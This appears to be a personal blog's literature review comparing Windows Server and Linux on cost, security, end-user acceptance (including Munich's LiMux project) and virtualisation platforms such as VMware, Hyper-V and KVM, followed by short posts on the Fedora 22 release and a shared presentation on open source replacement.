Microsoft have themselves published papers pertaining to the TCO of running a Windows Server based domain. A 2006 paper published by the corporation, they mate reference to a survey carried out by the META group that had found “that higher staffing costs for Linux-based solutions offset any potential upfront savings in acquisition costs relative to Windows Server”. The paper follows the theme of asserting that Windows Server offers lower TCO than Linux equivalents and provides a better return on investment than Linux. (Microsoft, 2006)

Finding non-partisan information can be difficult, for example a report by Vital Wave Consulting from 2008, found that Windows and Linux offer the same TCO in emerging markets, however Vital Wave Consulting were commissioned by Microsoft to investigate and report on the subject. (zdnet, 2008) Conversely a 2005 report commissioned by IBM put the TCO of a Linux server deployment at an estimated 40% less than that of Windows Server. At the time of the report IBM were involved in commercial tie ups with open source vendors such as Redhat and Novell. (PC Pro, 2014)

The Harbin Institute of Technology, a research university based in Harbin, Weihai, Shenzhen, China published a paper in 2012 titled “Survey and comparison for Open and closed sources in cloud computing”, in this they concluded that in terms of cost open source technology offered better value, but that open source documentation is often inaccessible to novice users. (Nadir K.Salih, Tianyi Zang, 2012)

TCO can be a major factor when a business is making decisions, this perhaps provides some basis as to why finding independent information is difficult. Other areas however have had more impartial research carried out on them. One of these areas is security. Mikko Hypponen an award winning security researcher gave an interview on cybercrime in 2010, he was asked to compare Open Source and proprietary software to which he replied “The truth is that pretty much nobody looks at source code and tries to find bugs. In that way, the ‘theory of many eyes’ doesn’t work.” he continued by stating that the big difference was that only the proprietary software vendor can fix bugs in their software, but open source software can be fixed by anyone, which in general allows for security holes to patched up quicker. (Technewsworld.com, 2014)
In an in depth 2009 report on servers, infoworld suggested that the market was dividing into two distinct categories; Windows and Linux, it quoted Jim Zemlin, executive director of the Linux foundation as saying “The key here is that really Linux and Windows are moving away from the pack here and it’s becoming a two-horse race”. The article also suggests that heterogeneous infrastructure was becoming standard, citing Red Hat marketing director Nick Carr who states that Windows based Exchange (Email), SQL, file and Print servers are common on RHEL infrastructure. Dr. Roy Schestowitz a proponent of Linux is also quoted as saying “Increasingly, such servers that run in mixed environments rely on virtualization”, this was in relation to Linux based networks running Windows based virtual machines. (Krill, 2014)

An article published on business technology website Techradar Pro in 2014 by David Barker, technical director of 4D Data Centres, offered a balanced comparison between the two server platforms. The article puts forward that most system administrators are comfortable with both Windows and Linux and that deciding on what server OS to use is need specific. Barker suggests that the life cycle intended for server can be a critical factor, pointing out that Microsoft will end mainstream support for its Windows Server 2008 product. He goes on by stating that if the server is on physical hardware it is likely that it would need to preplaced in this time frame anyway.

Barker echoes Dr. Schestowitz’s statement about virtualisation allowing for a heterogeneous network environments by pointing out that Microsoft has partnered with open source organisation to enable hyper-V management of open source nodes. Barker also echoes Red Hats Nick Carr Linux systems can co-exist with Microsoft systems. (Barker, 2014)

End Users and Changing Technology

An end user can be defined as any human that uses a computer, end users can range from system administrators to the office typists. Each user has a set of requirements and it is the job of ICT to meet these needs, however these needs must be met within the requirements of the organisation and budgetary restrictions. (Corbett et al., 2013) An organisation may choose to change its base technology for a number of reasons, for example it may decide to go open source and replace proprietary technology, as the City of Munich did, in a project called Limux. (Linuxjournal.com, 2015) Peter Hoffman who led the City of Munich’s Limux project to switch to open source technology stated that the main reasons for the switch was to save money and halt the ever increasing lock in to Microsoft products. (Kent, 2013)

One issue that was never explicitly stated in the Limux project was the end user experience. Users were considered in the project plan, but only in calculations for retraining staff and cost of technical support staff. (Saunders, 2014)

A 2014 report by Nick Heath of Tech Republic suggest that Limux end user dissatisfaction with the changes from a Windows based OS to a Linux based OS may have triggered a review of the project, this was denied by the Munich City Council, although council spokesperson Stefan Hauf did concede that there has been negative feedback on certain aspects of the change to open source.
Hauf stated that “the primary gripe being a lack of compatibility between the odt document format used in OpenOffice and software used by external organisations. Munich had been hoping to ease some of these problems by moving all its OpenOffice users to LibreOffice”, (Heath, 2014) this compatibility issue appears on the face of it to be symptom of the vendor lock in the project was attempting to rid itself of. What must not be over looked is the disgruntlement of the end user. This could lead to frustration and discourage end users to embrace the new technology.
The Practice of System Administration published by Addison Wesley in 2007 asserts that ICT is there to serve the needs of end users. ICT exists because of users and not vice versa. It tempers this somewhat by going on to assert that the ‘customer is always right’ attitude is also not correct.
The book proposes that System administrators must view end users as ‘business partners’ consulting them on any change that may be proposed before proceeding with it. With administrators and users working together the needs of the organisation and the end users are best met. (Limoncelli, Hogan and Chalup, 2007)
Award winning magazine NAWIC published an article by Fred Ode the founder and CEO of Foundation Software. The article included five tips to avoid end user rejection of new technology. This supported The Practice of System Administrations assertion that users must be included in the process. It also proposed that a number of factors relating directly to the end user should be considered when implementing change of the ICT infrastructure, these suggestions included; considering the skill level of the end users and providing appropriate training to end users. Ode suggests that the majority of users are in general resistant to change, with a small number being open to change, ode says “The key is to identify innovators and early adopters and get them involved in the training process, so they can help excite and educate other users”. (F, Ode. 2008)


Virtualisation is the creation in software of a simulation of a range of computing resources either in part or in whole. This simulation can virtualise both hardware and software. (Servervirtualization., 2014) The origins of virtualisation date back to the late 1960’s. IBM multiuser mainframes employed virtualisation techniques on memory. This was to allow for the efficient use of resources of the mainframe when running multiple simultaneous users. (Docs.oracle.com, 2014) Over the next 30 years development of technologies including virtual memory, hypervisors and application virtualisation were invented and/or refined. (Everythingvm.com, 2014)

A paper published in 1974 by Gerald J. Popek and Robert P. Goldberg entitled Formal Requirements for Virtualizable Third Generation Architectures laid out a method to ascertain if a (third generation) system architecture was capable of virtualisation. The paper described various VM concepts, which they describe as “an efficient, isolated duplicate of a real machine.” (Popek and Goldberg, 1974) The methods described in the paper can still be used as a guideline for virtualisation requirements. Prof. Douglas Thain of the University of Notre Dame, Indiana USA, described the paper as “the most important result in computer science ever to be persistently ignored”. Prof. Douglas breaks the paper down into two basic principles, a sensitive instruction and the privileges instruction. (Thain, 2010) The Popek and Goldberg paper describes what it terms as a Virtual Machine Monitor (VMM), VMM’s are now more commonly known as Hypervisors. Hypervisors can be categorised into two broad categories, type 1 and type 2. (Popek and Goldberg, 1974) (Portnoy, 2012)

Type 1: Also known as Bare Metal and Native. Type 1 hypervisors are installed directly onto the underlying hardware. A basic micro-kernel usually sits below the hypervisor to interact with the physical hardware. The type 1 hypervisor manages and abstracts all hardware from the overlaying virtualised systems.
Type 2: Type 2 hypervisors are installed on to a conventional host OS as a program. Type 2 hypervisors are generally not used in scalable enterprise environments. (Portnoy, 2012)

In the late 1990’s, VMWare’s Dan Wire described “a revolution with virtualization”. What Dan was referring to was the founding in 1998 of VMWare, and the release of VMWare workstation. (Wire, D. 2013) VMWare workstation allowed for the running of a Virtual Machines (VM), a virtualised PC and OS running inside and using the resources of a physical host PC. VMWare workstation was not the first product to market to allow for this, Apple had implemented a similar system with Virtual PC, but VMWare Workstation was the first major commercially available product of this type. (Everythingvm.com, 2014)

As of 2015 VMWare are the industry leader in enterprise virtualisation solutions. (VMWare, 2015) VMWare’s main enterprise virtualisation product range is called vSphere. vSphere is a collection of components that form a complete virtualisation platform, allowing for the creation of and management of VM’s. The vSphere range of products are available in 3 tiers, with each preceding tier having less functionality. (VMWare, 2015)

VMWare have a number of competitors, Microsoft have a similar product range that is tightly integrated with their Windows Server products called Hyper-V. (Finn, 2013) Citrix have a range of products based around the open source Xen hypervisor. (Citrix.com, 2015) These are just two examples of competing enterprise class hypervisor products that position themselves in the same market segment as VMWare’s vSphere. (Paul, 2014)

The open source project KVM (Kernel-based Virtual Machine), is a free hypervisor that can form the basis of full virtualisation platform running on a Linux based system. KVM was originally developed by Qumranet who were taken over by Red Hat, Red Hat now oversee the project. (Linux-kvm.org, 2015) KVM is a Linux kernel module that converts the system into a type 1 hypervisor. (IBM. 2015) This module was integrated into the mainline Linux Kernel in 2007, its ability to support virtualisation is depended on compatible virtualisation extensions being present on the host CPU. (Linux-kvm.org, 2015)

KVM can be combined with other open source projects, such as QEMU which provides device emulation and user-space functionality and libvirt an API which provides a variety of tools such as management interfaces. (Libvirt.org, 2015) Together a feature rich and efficient virtualization platform is formed.

KVM and VMWare are two very different propositions, VMWare fits the definition of a traditional type 1 hypervisor, KVM redefines this slightly with its integration directly into the host OS Kernel. (Linux-kvm.org, 2015) Both offer a complete suite of enterprise level functionality, but achieve their end goal in a different manner.

VMWare is a homogeneous system, each component is designed to work seamless with the rest of the platform. The disadvantage of VMWare is cost, functionality comes at a price. (Vmware.com, 2015) KVM when combined with QEMU and libvirt is heterogeneous, a wide variety of features can be installed and configured as and when needed at no cost. It may not always be the case that each feature has been fully tested or is stable when integrated to the platform. Supporting the platform may require specialists or support contracts which could mitigate against the zero cost benefits of the software. (Redhat.com, 2014)

Fedora 22 Released

Fedora’s relentless release schedule continues unabated with the release of fedora 22.

Some new features and improvements are; a new notification system courtesy of an updated gnome DE, general GUI improvements and new and updated gnome apps.

The server edition has new support for the container system docker with a collection of new images and cockpit gets cross version support providing all your management needs direct from the comfort of your web browser!

I haven’t tried personally yet, I’m loving fedora’s little cousin CentOS 7 at the moment and have just got my machine just the way I want it after days weeks of tinkering, so I am not quite ready to switch up my distro just yet! I’m in the process of building a live pen at the moment and I am looking forward to trying out some of the new and/or improved stuff.


Click here for full details on what is new.

Proprietary vs Open Source Network Software

I am currently working on a project investigating replacing proprietary technology with open source technology, the project is about 50% complete at the moment. I presented my initial findings earlier this week, I’m happy to say that they were well received. Below is a copy of the presentation, if anyone has anything to add to it, be it corrections, critique or any other feedback then please feel free to email me at [email protected]

All feedback is welcome.

PS. Yes the file type is Microsoft’s .pptx, but this is due to WordPress not embedding .odp’s correctly. (incidentally file type compatibility is one of the issues raised in the report)

Download (PPTX, 587KB)